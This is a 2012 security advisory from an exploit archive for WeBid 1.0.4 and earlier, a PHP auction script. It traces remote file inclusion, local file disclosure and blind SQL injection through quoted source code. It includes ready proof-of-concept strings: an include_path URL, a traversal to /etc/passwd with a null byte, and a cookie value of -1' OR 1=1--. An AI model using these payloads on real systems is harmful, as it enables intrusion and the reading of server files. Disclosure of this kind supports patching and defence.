Author

dun

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-19207

Category

web applications

Date add

17-08-2012

Platform

php

:::::::-.   ...    ::::::.    :::.
  ;;,   `';, ;;     ;;;`;;;;,  `;;;
  `[[     [[[['     [[[  [[[[[. '[[
   $$,    $$$$      $$$  $$$ "Y$c$$
   888_,o8P'88    .d888  888    Y88
   MMMMP"`   "YmmMMMM""  MMM     YM
 
  [ Discovered by dun \ posdub[at]gmail.com ]
  [ 2012-08-17                              ]
################################################
# [ WeBid <= 1.0.4 ] Multiple Vulnerabilities  #
################################################
#
# Script: "Open source php/mysql fully featured auction script"
#
# Vendor:   http://www.webidsupport.com/
# Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/
#
################################################
# [RFI] ( allow_url_include = On; register_globals = On; )
# PoC: http://localhost/WeBid/loader.php?js=admin/logout.php&include_path=http://localhost/info.txt?
#
# File: ./WeBid/loader.php (lines: 15-60)
#  ..cut..
# ob_start('ob_gzhandler');
# header("Content-type: text/javascript");
# include 'includes/checks/files.php';               // 1 ( Definition of $file_hashs array )
# if (isset($_GET['js']))
# {
#    $js = explode(';', $_GET['js']);                // 3 js = admin/logout.php (for example)
#    foreach ($js as $val)
#    {
#       $ext = substr($val, strrpos($val, '.') + 1); // 4
#       if ($ext == 'php')                           // 4
#       {
#          if (check_file($val))                     // 5
#          {
#             include $val;                          // 10 include admin/logout.php
#          }
#       }
#  ..cut..
#    }
# }
# ob_end_flush();
#
# function check_file($file)
# {
#    global $file_hashs;                             // 6
#    $tmp = $file_hashs;
#    $folders = explode('/', $file);                 // 7 $folders = Array([0] => admin, [1] => logout.php)
#    foreach ($folders as $val)                      // 8 This loop checks if parts of $folders are in $file_hashs
#    {
#       if (isset($tmp[$val]))
#       {
#          $tmp = $tmp[$val];
#       }
#       else
#       {
#          return false;
#       }
#    }
#    return true;                                    // 9 admin/logout.php passed
# }
#  ..cut..
#
# File: ./WeBid/includes/checks/files.php (lines: 2-19)
#  ..cut..
# $file_hashs = array(                                      // 2 List of files that can be included.
#  ..cut..
#    'admin' => array(                                      // 2
#       'logout.php' => 'a0db39b73dcfd29feb1466002c4f59a4', // 2
#        ..cut..
#    ),
#  ..cut..
# );
#
# File: ./WeBid/admin/logout.php (lines: 16-17)
#  ..cut..                                           // 11 common.inc.php file contains a definition of $include_path
# include '../includes/common.inc.php';              // 11 Failed, because loader.php is in root path
# include $include_path . 'functions_admin.php';     // 12 *[RFI] $include_path is not set by script
#  ..cut..                                           // 12 If register_globals is On, we can set $include_path
#
################################################
# [Local File Disclosure] ( magic_quotes_gpc = Off; php version < 5.3.4 )
# PoC: http://localhost/WeBid/getthumb.php?fromfile=getthumb.php&w=../../../../../etc/passwd%00
#
# File: ./WeBid/getthumb.php (lines: 17-52)
#  ..cut..
# $w = (isset($_GET['w'])) ? $_GET['w'] : '';                                      // 1
# $fromfile = (isset($_GET['fromfile'])) ? $_GET['fromfile'] : '';                 // 2
# $nomanage = false;
#  ..cut..
# if (!isset($_GET['fromfile']))                                                   // 3
# {
#    ErrorPNG('params empty');
#    exit;
# }
# elseif (!file_exists($_GET['fromfile']) && !fopen($_GET['fromfile'], 'r'))       // 4
# {
#    ErrorPNG('img does not exist');
#    exit;
# }
#
# if (file_exists($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)))    // 5
# {
#    $img = getimagesize($fromfile);
#    if ($img[2] == 1)
#    {
#       $img['mime'] = 'image/png';
#    }
#    header('Content-type: ' . $img['mime']);
#    echo file_get_contents($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)); // 6 *[LFD]
#    }
# }
#  ..cut..
#
################################################
# [Blind SQL Injection] ( magic_quotes_gpc = Off; )
# PoC:
# http://localhost/WeBid/contents.php
# GET /WeBid/contents.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Cookie: WEBID_ONLINE=-1' OR 1=1--
#
# File: ./WeBid/contents.php (lines: 15, 38)
#  ..cut..
# include 'includes/common.inc.php';
#  ..cut..
# include 'header.php';                                        // 1
#  ..cut..
#
# File: ./WeBid/header.php (line: 26)
#  ..cut..
# $counters = load_counters();                                 // 2
#  ..cut..
#
# File: ./WeBid/includes/functions_global.php (line: 287-320)
#  ..cut..
# function load_counters()                                     // 3
# {
#  ..cut..
#      if (!$user->logged_in)
#      {
#         if (!isset($_COOKIE['WEBID_ONLINE']))
#         {
#            $s = md5(rand(0, 99) . session_id());
#            setcookie('WEBID_ONLINE', $s, time() + 900);
#         }
#         else
#         {
#            $s = $_COOKIE['WEBID_ONLINE'];                    // 4
#            setcookie('WEBID_ONLINE', $s, time() + 900);
#         }
#      }
#  ..cut..
#      $query = "SELECT id FROM " . $DBPrefix . "online WHERE SESSION = '$s'"; // 5 *[SQL]
#      $res = mysql_query($query);
#      $system->check_mysql($res, $query, __LINE__, __FILE__);
#  ..cut..
#
### [ dun / 2012 ] #############################



#  0day.today [2024-11-15]  #